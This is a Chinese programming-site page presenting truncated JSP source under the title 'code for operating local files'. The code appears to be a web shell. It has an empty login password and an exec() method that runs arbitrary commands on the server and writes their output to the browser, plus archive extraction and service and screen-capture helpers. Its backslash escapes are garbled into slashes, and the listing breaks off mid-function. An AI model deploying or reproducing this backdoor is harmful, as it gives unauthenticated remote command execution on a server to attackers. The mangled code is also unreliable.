程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> JAVA編程 >> 關於JAVA >> 操作本地文件的jsp代碼

操作本地文件的jsp代碼

編輯:關於JAVA
 

<%@page contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" %><%//@page import="org.apache.tools.zip.*" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@page import="java.sql.*" %><%@page import="sun.awt.shell.ShellFolder"%><%@page import="javax.swing.filechooser.FileSystemView"%><%@ page import="java.util.*"%><%@ page import="java.math.*"%><%@page import="java.awt.*" %><%@page import="java.awt.event.*" %><%@page import="java.awt.image.*"%><%@page import="javax.swing.*"%><%@page import="java.awt.datatransfer.*"%><%@page import="javax.imageio.*"%><%@page import="java.util.regex.*"%><%!
private static final String PASSWORD="";//這裡是用戶的登陸密碼
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自動", "手動", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已啟動", "5", "6", "暫停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
int width = d.width;
int height = d.height;
for (int i = 0; i < rect.length; i++)
{
rect[i] = new Rectangle(0, height / 8 * i, width, height / 8);
}
}
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}

public String unzip(File file, File dir) throws IOException
{
if (file.getName().toLowerCase().endsWith(".zip"))
{
StringBuffer result = new StringBuffer();
try
{
ZipFile zf = new ZipFile(file);
Enumeration enumer = zf.entries(); //zf.getEntries();
while (enumer.hasMoreElements())
{
ZipEntry ze = (ZipEntry) enumer.nextElement();
String zename = ze.getName();
result.append(zename + "<br/>");
if (ze.isDirectory())
{
File file11 = new File(dir,zename);
file11.mkdirs();
} else
{
File file11 = new File(dir,zename).getParentFile();
if (!file11.exists())
{
file11.mkdirs();
}
int i=0;
byte zeby[] = new byte[8192];
InputStream is = zf.getInputStream(ze);
FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
while((i=is.read(zeby))!=-1)
{
fos.write(zeby,0,i);
}
is.close();
fos.close();
}
}
zf.close();
result.append("全部完成");
return result.toString();
} catch (Exception e)
{
return (file.getName() + " 不是 ZIP 壓縮文件");
}
} else
{
Runtime rt = Runtime.getRuntime();
File f=new File("C://Program Files//WinRAR//UnRAR.exe");
if(!f.exists())f=new File("D://Program Files//WinRAR//UnRAR.exe");
if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"//UnRAR.exe");
String path=f.exists()?f.getPath():"unrar";
Process p = rt.exec("/"" + path + "/" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
StringBuffer sb = new StringBuffer();
InputStream fis = p.getInputStream();
int value = 0;
while ((value = fis.read()) != -1)
{
sb.append((char) value);
}
fis.close();
String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
int index = result.indexOf("中解壓");
if (index == -1)
{
return (file.getName() + " 不是 RAR 壓縮文件");
} else
{
index += 4;
result = result.substring(index);
result = result.replaceAll("/r/n", "<br/>").replaceAll(" ", " ");//.replaceAll("/n", "<BR/>").replaceAll("////", "/").replaceAll(file.getAbsolutePath(), "");
return (result);  

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved